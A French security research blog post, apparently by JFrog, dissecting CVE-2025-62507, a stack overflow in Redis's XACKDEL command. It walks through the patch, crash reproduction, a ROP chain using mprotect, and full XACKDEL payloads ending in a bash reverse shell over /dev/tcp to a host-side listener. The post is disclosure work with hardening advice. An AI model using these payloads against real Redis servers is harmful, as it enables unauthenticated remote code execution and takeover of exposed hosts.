Analyse et exploitation de la CVE-2025-62507 : exécution de code à distance dans Redis

Redis_Vulnerability_863x300Redis_Vulnerability_863x300

Une vulnérabilité récente de type débordement de tampon sur la pile dans Redis, référencée sous le numéro CVE-2025-62507, a été corrigée dans la version 8.3.2. Le problème a été publié avec un niveau de gravité élevé et a reçu un score CVSS v3 de 8.8.

Selon l’avis de sécurité officiel, « un utilisateur peut exécuter la commande XACKDEL avec plusieurs identifiants et déclencher un débordement de tampon sur la pile, ce qui peut potentiellement conduire à une exécution de code à distance ».

Les vulnérabilités de corruption de mémoire sont devenues beaucoup plus difficiles à exploiter en raison des nombreux mécanismes de sécurité mis en place au fil des années, mais, historiquement, elles permettaient facilement d’aboutir directement à une exécution de code à distance.

Étant donné que la vulnérabilité avait reçu un niveau de gravité élevé, sans toutefois être classée comme critique (en raison de l’affirmation selon laquelle son exploitation nécessitait une authentification, indiquée par le critère « Privilèges requis »), l’équipe de recherche en sécurité de JFrog a décidé d’étudier le problème plus en détail et d’évaluer s’il était toujours facile d’obtenir une exécution de code à distance en 2026.

Au moment de la rédaction de cet article, aucune preuve de concept publique, aucun code d’exploitation permettant une exécution de code à distance et aucune analyse technique approfondie n’étaient disponibles. Nous avons donc entrepris d’évaluer l’exploitabilité réelle de la CVE-2025-62507.

Dans cet article de blog, nous présentons une exploitation réussie de cette vulnérabilité et examinons les étapes supplémentaires nécessaires pour la transformer en code d’exploitation entièrement opérationnel.

Qu’est-ce qui a causé la CVE-2025-62507 ?

Redis (Remote Dictionary Server) est un système open source de stockage de structures de données en mémoire, largement utilisé comme base de données ainsi que comme courtier de messages grâce à sa fonctionnalité Streams.

Redis Streams permet de mettre en œuvre des files de messages et des pipelines d’événements. Les messages sont ajoutés à un flux, transmis aux consommateurs appartenant à un groupe de consommateurs, puis suivis dans une structure interne appelée Pending Entries List (PEL), jusqu’à ce que leur traitement soit confirmé. Ce suivi permet à Redis de garantir une livraison fiable, mais exige également un nettoyage soigneux des références aux messages une fois leur traitement terminé.

La vulnérabilité est déclenchée lors de l’utilisation de la nouvelle commande XACKDEL de Redis 8.2, introduite afin de simplifier et d’optimiser le nettoyage des flux. XACKDEL regroupe dans une seule opération atomique la confirmation du traitement des messages (comme XACK) et leur suppression d’un flux (comme XDEL).

XACKDEL offre un contrôle plus précis du cycle de vie des messages, en particulier grâce à des options telles que KEEPREF, DELREF et ACKED, qui déterminent la manière dont les références de la Pending Entries List sont gérées et si les métadonnées des messages sont intégralement supprimées. Cette conception réduit la charge liée à la tenue des informations de suivi et évite d’avoir à effectuer des appels distincts à XACK et XDEL dans les scénarios de traitement de flux à haut débit.

Cependant, la complexité interne nécessaire à l’analyse et à la gestion de plusieurs identifiants de message au sein d’une même commande a fini par provoquer la CVE-2025-62507

Analyse technique de la CVE-2025-62507

En examinant le commit qui a corrigé la CVE-2025-62507, le problème sous-jacent devient immédiatement évident. La vulnérabilité réside dans l’implémentation de la fonction xackdelCommand, qui est chargée d’analyser et de traiter la liste des identifiants de flux fournis par l’utilisateur.

 
diff --git a/src/t_stream.c b/src/t_stream.c
index d721780a6..3ef48943f 100644
--- a/src/t_stream.c
+++ b/src/t_stream.c
@@ -3215,6 +3215,8 @@ void xackdelCommand(client *c) {
      * executed in a "all or nothing" fashion. */
     streamID static_ids[STREAMID_STATIC_VECTOR_LEN];
     streamID *ids = static_ids;
+    if (args.numids > STREAMID_STATIC_VECTOR_LEN)
+        ids = zmalloc(sizeof(streamID)*args.numids);
     for (int j = 0; j < args.numids; j++) { if (streamParseStrictIDOrReply(c,c->argv[j+args.startidx],&ids[j],0,NULL) != C_OK)
             goto cleanup;

XACKDEL accepte un nombre variable d’ID de messages. Pour les traiter efficacement, la fonction analyse chaque ID fourni par l’utilisateur et le stocke dans un tableau de taille fixe (static_ids) alloué sur la pile. Chaque ID de flux analysé est représenté en interne sous la forme d’une structure streamID composée de deux entiers de 64 bits.

Le problème principal est que le code ne vérifie pas que le nombre d’ID fournis par le client respecte les limites de ce tableau alloué sur la pile. Par conséquent, lorsque davantage d’ID sont fournis que le tableau ne peut en contenir, la fonction continue d’écrire au-delà de la fin du tampon.

Cela entraîne un dépassement de tampon classique basé sur la pile.

Étant donné que les ID de flux analysés sont entièrement contrôlés par l’attaquant, le dépassement ne se contente pas de corrompre des données adjacentes ; il permet à un attaquant d’écraser le contenu sensible de la pile, y compris les registres sauvegardés et l’adresse de retour de la fonction. La structure des ID de flux, qui sont analysés comme deux valeurs numériques indépendantes, permet de contrôler avec précision la mémoire écrasée et d’obtenir une exécution de code à distance.

Dans les versions affectées, cette condition peut être déclenchée à distance dans la configuration Redis par défaut en envoyant simplement une seule commande XACKDEL contenant un nombre suffisamment élevé d’ID de messages. Il est également important de noter que, par défaut, Redis n’impose aucune authentification, ce qui en fait une exécution de code à distance non authentifiée.

Exploitation de la CVE-2025-62507

Le commit apportant le correctif comprend un test de régression ajouté par les responsables de Redis afin de vérifier que cette vulnérabilité ne peut plus être déclenchée. Le test exécute d’abord une commande XGROUP CREATE, suivie d’une commande XACKDEL contenant 50 identifiants de message.

 
diff --git a/tests/unit/type/stream-cgroups.tcl b/tests/unit/type/stream-cgroups.tcl
index 05c56074e..a5265056c 100644
--- a/tests/unit/type/stream-cgroups.tcl
+++ b/tests/unit/type/stream-cgroups.tcl
@@ -1658,5 +1658,20 @@ start_server {
             assert_equal [dict get $group lag] 0
             assert_equal [dict get $group entries-read] 1
         }
+
+        test "XACKDEL with IDs exceeding STREAMID_STATIC_VECTOR_LEN for heap allocation" {
+            r DEL mystream
+            r XGROUP CREATE mystream mygroup $ MKSTREAM
+
+            # Generate IDs exceeding STREAMID_STATIC_VECTOR_LEN (8) to force heap allocation
+            # instead of using the static vector cache, ensuring proper memory allocation.
+            set ids {}
+            for {set i 0} {$i < 50} {incr i} {
+                lappend ids "$i-1"
+            }
+            set result [r XACKDEL mystream mygroup IDS 50 {*}$ids]
+            assert {[llength $result] == 50}
+            r PING
+        }
     }
 }

Ce cas de test met clairement en évidence le chemin de code vulnérable ainsi que la séquence minimale de commandes nécessaire pour l’atteindre, ce qui constitue un point de départ naturel pour son exploitation.

Pour tester la vulnérabilité, nous pouvons lancer un serveur Redis simple à l’aide de l’image Docker officielle de Redis :


sudo docker run --name my-redis -p 6379:6379 --rm redis:8.2.1

Dans un autre shell, nous lançons ensuite l’interface en ligne de commande de Redis :


redis-cli

Dans l’interface en ligne de commande, nous allons tenter d’exécuter les mêmes commandes que Redis dans son test :


DEL mystream
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 50 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1
11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1
27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 
43-1 44-1 45-1 46-1 47-1 48-1 49-1

Sur notre système, cela n’a eu aucun effet. Mais l’ajout de deux identifiants supplémentaires a fait planter le serveur :


DEL mystream
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 52 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 
11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 
27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 
43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1

JFrog – Exploitation de la vulnérabilité Redis – image2
En vérifiant les journaux du serveur qui a planté, nous avons remarqué des données similaires à ce qui suit au début du rapport de plantage :

JFrog - Exploiting the Redis Vulnerability - image2

Notez que le processus a tenté d’exécuter une instruction depuis le binaire redis-server et d’accéder à l’adresse 0x9.

Essayons d’ajouter un ID supplémentaire :


XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 53 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 
11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 
27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 
43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1 52-1

JFrog – Exploitation de la vulnérabilité Redis – image9JFrog – Exploitation de la vulnérabilité Redis – image2JFrog – Exploitation de la vulnérabilité Redis – image7JFrog – Exploitation de la vulnérabilité Redis – image6.png
Examinons maintenant une nouvelle fois le journal du plantage :

JFrog - Exploiting the Redis Vulnerability - image9
À ce stade, le comportement devient intéressant. Le processus a tenté d’effectuer un saut vers l’adresse 0x1. Cela soulève immédiatement la question de l’origine de cette valeur. La source la plus probable est le dernier identifiant de flux que nous avons ajouté à la liste. Pour le vérifier, modifions le dernier identifiant en remplaçant 52-1 par 52-2, afin de voir si le comportement du plantage change en conséquence :

JFrog - Exploiting the Redis Vulnerability - image2

Le journal du plantage indique désormais un pointeur d’instruction de 0x2. À ce stade, il est clair qu’il s’agit d’un débordement de tampon classique sur la pile, qui écrase l’adresse de retour de la fonction. La seconde composante numérique du dernier identifiant de flux contrôle directement la valeur inscrite dans l’emplacement réservé à l’adresse de retour.

Étonnamment, ce contrôle direct de l’EIP montre que Redis est compilé sans protection par canari de pile dans l’image Docker officielle !

Après avoir confirmé le contrôle de l’EIP, nous avons extrait le fichier binaire « redis-server » de l’image Docker et l’avons ouvert dans IDA Pro afin de l’examiner de plus près. Observons l’organisation de la pile de la fonction xackdelCommand.

JFrog - Exploiting the Redis Vulnerability - image7

Nous pouvons constater que le tableau static_ids est situé à l’adresse relative -0x340 et que chaque élément streamID occupe 16 octets :

JFrog - Exploiting the Redis Vulnerability - image6.png

En divisant 0x340 par 16, on obtient 52, ce qui signifie que le 53e identifiant écrase l’adresse de retour de la fonction. Un examen plus attentif du code montre que les identifiants de flux sont analysés sous la forme de paires de deux entiers de 64 bits séparés par un tiret. Ces valeurs sont écrites directement dans la structure streamID, ce qui nous permet d’inscrire des valeurs arbitraires sur la pile sans aucune vérification de limites.

Très bien, et maintenant ?

L’étape suivante consiste à rediriger le flux d’exécution et à exécuter du code contrôlé par le pirate. Pour cela, nous devons transférer le contrôle vers une adresse mémoire précise permettant l’exécution de code. Dans la pratique, cette opération est compliquée par l’Address Space Layout Randomization (ASLR), ou randomisation de la disposition de l’espace d’adressage, qui modifie aléatoirement les adresses mémoire à chaque démarrage du processus.

Dans une attaque réelle, cette vulnérabilité serait généralement associée à une faille de divulgation d’informations provoquant une fuite d’adresses mémoire, ce qui permettrait au pirate de contourner l’ASLR. Toutefois, pour les besoins de cette preuve de concept, nous désactivons l’ASLR sur notre système de test afin de rendre les adresses mémoire prévisibles et de nous concentrer uniquement sur la démonstration de l’exploitabilité :


echo 0 > /proc/sys/kernel/randomize_va_space

JFrog – Exploitation de la vulnérabilité Redis – image4
En temps normal, nous devrions également contourner la protection par canari de pile (là encore, à l’aide d’une faille de divulgation d’informations), mais, comme indiqué précédemment, le fichier binaire inclus dans l’image Docker a été compilé sans cette protection. Nous l’avons également confirmé en examinant directement le fichier binaire. Comme vous pouvez le constater, l’épilogue de la fonction n’effectue aucune vérification avant le retour.

JFrog - Exploiting the Redis Vulnerability - image4

Nous avons comparé le fichier binaire de l’image Docker à celui installé sur notre machine hôte (Redis version 7.0.15, installé à l’aide du gestionnaire de paquets d’Ubuntu). Fait intéressant, celui de la machine hôte dispose bien de la protection par canari de pile.

Comme toujours, un autre mécanisme de sécurité doit être contourné pour exploiter cette vulnérabilité avec succès : la protection NX (No-eXecute). Celle-ci empêche l’exécution de certaines régions de la mémoire, telles que la pile, en les marquant comme non exécutables.

Pour contourner la protection NX, nous construisons une chaîne de programmation orientée retour (Return-Oriented Programming, ROP) à l’aide de séquences d’instructions existantes, appelées gadgets, trouvées dans le fichier binaire. Au lieu d’exécuter directement du code depuis la pile, la chaîne ROP appelle des fonctions légitimes afin de modifier les autorisations de la mémoire.

Dans notre cas, l’objectif est de rendre la pile exécutable en appelant la fonction mprotect avec des arguments contrôlés : l’adresse mémoire cible, la taille de la région mémoire et les indicateurs de protection souhaités. Les journaux de plantage nous ont permis de constater que le pointeur de pile (RSP) pointait vers l’adresse 0x7fffffffe7d0. Sur cette base, nous alignons l’adresse cible sur le début de la page mémoire située à l’adresse 0x7fffffffe000, demandons une taille de 0x20000 octets et définissons les autorisations de lecture, d’écriture et d’exécution.


mprotect(0x7fffffffe000, 0x20000, PROT_READ | PROR_WRITE | PROT_EXEC)

<code>
Pour appeler mprotect, nous réutilisons du code déjà présent dans l’espace d’adressage du processus, plus précisément l’implémentation de mprotect dans la bibliothèque libc. Cette approche est une forme de ret2libc, dans laquelle l’exécution est redirigée vers une fonction de bibliothèque fiable plutôt que vers un shellcode injecté.

Pour cela, nous construisons une chaîne ROP composée de gadgets simples trouvés dans le fichier binaire redis-server. Nous avons notamment besoin de gadgets chargeant des valeurs dans les registres rdi, rsi et rdx, qui correspondent aux trois premiers arguments de mprotect. Chaque gadget doit se terminer par une instruction RET, afin que l’exécution puisse progresser de manière contrôlée à travers la chaîne.

Une fois les arguments définis, l’exécution revient dans mprotect, qui modifie les autorisations de la mémoire occupée par la pile. Le contrôle peut alors être transféré vers des données contrôlées par l’attaquant et placées sur la pile, achevant ainsi la transformation d’un bogue de corruption de mémoire en exécution de code arbitraire.

Tous ces gadgets ont été facilement trouvés dans le fichier binaire redis-server.

Après avoir appelé mprotect avec succès et rendu la pile exécutable, la dernière étape consiste à transférer l’exécution vers du code contrôlé par le pirate. Pour cela, nous utilisons un gadget CALL rsp, lui aussi facilement localisé dans le fichier binaire redis-server. Ce gadget redirige l’exécution vers le pointeur de pile actuel, où se trouve notre charge utile.

À ce stade, la pile doit être soigneusement préparée afin qu’après le retour de mprotect, l’exécution parcoure la chaîne ROP, puis passe directement à notre code. L’organisation de la pile comprend donc les gadgets ROP utilisés pour configurer et appeler mprotect, immédiatement suivis de la charge utile.

La pile préparée est organisée comme suit :

<code>

Comme charge utile de test simple, nous plaçons une unique instruction JMP 0x0 dans le dernier emplacement. Le serveur Redis entre alors dans une boucle infinie, ce qui permet d’obtenir tous les résultats décrits jusqu’ici.

Charge utile complète :


XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 57 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-93824992764711 140737488347136-93824992781334 131072-93824994830866 7-140737344395808 93824993018745-65259

À partir de là, il est très facile de remplacer le shellcode par du code exécutant une commande système et ouvrant un shell inversé. Nous avons créé un shellcode simple appelant la fonction system afin d’établir un shell inversé, puis de rester bloqué dans une boucle infinie. Nous avons déterminé que la fonction system se trouvait à l’adresse 0x7FFFF7600490. Nous avons donc compilé le shellcode suivant :


lea rdi, [rip+data]
mov rax, 0x7FFFF7600490  # system
call rax
loop:
jmp loop
data:

À la fin de notre shellcode, nous avons ajouté la commande que nous voulons exécuter :


/bin/bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'

Cette commande lance un shell bash, qui lance à son tour un autre shell bash redirigeant sa sortie vers le port 4444 de l’adresse IP 172.17.0.1, qui correspond à l’adresse IP de la machine hôte Docker. Nous avons encapsulé bash dans un autre processus bash, car la fonction system utilise le shell par défaut /bin/sh, qui pointe vers dash, et celui-ci ne parvenait pas à créer correctement le shell inversé. Nous avons donc choisi de forcer l’analyse de la commande par bash.

Sur la machine hôte, nous avons lancé netcat en écoute sur le port 4444. Nous avons ensuite envoyé la charge utile :


XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 62 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 
1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 
1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 
1-93824992764711 140737488347136-93824992781334 131072-93824994830866 
7-140737344395808 93824993018745-5188146770969726280 
36028759975170232-7593684693624618752 3251713775725850478-3417785037639589987 
2335447498982908258-3420032447996241470 3328783758969037684-3760278288324245297 
3541586533393118260-39

JFrog – Exploitation de la vulnérabilité Redis – image1
Et nous avons obtenu le shell inversé !

JFrog - Exploiting the Redis Vulnerability - image1

Éléments manquants pour obtenir un code d’exploitation entièrement opérationnel

Comme indiqué précédemment, la plupart des systèmes modernes utilisent l’ASLR pour randomiser l’espace d’adressage des processus qui s’y exécutent. Cela signifie que, pour exploiter pleinement cette vulnérabilité, un pirate devra également provoquer une fuite des adresses mémoire du processus et des bibliothèques, éventuellement à l’aide d’une vulnérabilité distincte de fuite de données. Lorsque Redis a été compilé avec des canaris de pile, le pirate devra également trouver un moyen d’obtenir la valeur du canari de pile.

Dans quelle mesure la CVE-2025-62507 est-elle répandue aujourd’hui ?

JFrog – Exploitation de la vulnérabilité Redis – image1JFrog – Exploitation de la vulnérabilité Redis – image1
Selon Shodan, au moment de la rédaction de cet article, 2 924 serveurs peuvent être immédiatement compromis au moyen de cette faille, car :

1. Ils exécutent une version vulnérable de Redis (8.2.0, 8.2.1 ou 8.2.2).

JFrog - Exploiting the Redis Vulnerability - image1

2. Ils ne disposent d’aucun mécanisme d’authentification.

Cependant, le nombre réel de serveurs vulnérables pourrait être beaucoup plus élevé, puisque Shodan a également détecté 183 907 serveurs Redis sur lesquels l’authentification est activée. Il est possible que ces serveurs utilisent une version appartenant à la plage vulnérable et que des pirates tentent de découvrir le mot de passe de connexion par force brute afin d’y accéder et d’exploiter la vulnérabilité.

JFrog - Exploiting the Redis Vulnerability - image1

Conclusion

Cette vulnérabilité montre que, même dans des projets modernes et matures comme Redis, des failles classiques de corruption de mémoire peuvent encore apparaître lors de l’introduction de nouvelles fonctionnalités complexes. Bien que les débordements de tampon sur la pile soient souvent considérés comme un problème appartenant au passé, la CVE-2025-62507 montre que ces vulnérabilités existent toujours et peuvent même être étonnamment faciles à exploiter.

Les développeurs doivent s’assurer que les mécanismes de sécurité, tels que la protection par canari de pile, sont activés pendant le processus de compilation (par exemple, en ajoutant l’option -fstack-protector lors de l’utilisation de gcc). Comme l’ont montré nos recherches, l’absence de ces protections dans certains environnements peut transformer un bogue de gravité élevée en voie d’accès triviale à une exécution de code à distance.

Enfin, les utilisateurs ne doivent pas se fier uniquement aux scores CVSS pour définir l’ordre de priorité des correctifs. Bien qu’elle ait été classée comme présentant une gravité « élevée » plutôt que « critique », en raison de l’affirmation selon laquelle une authentification était nécessaire (« Privilèges requis »), la CVE-2025-62507 s’est révélée exploitable sans authentification pour obtenir une exécution de code à distance dans de nombreux environnements réels.

Pour rester informé des autres attaques et vulnérabilités, consultez le centre de recherche en sécurité de JFrog, qui publie les dernières informations sur les CVE, les vulnérabilités et les correctifs. Pour protéger votre chaîne d’approvisionnement logicielle, découvrez également la plateforme JFrog.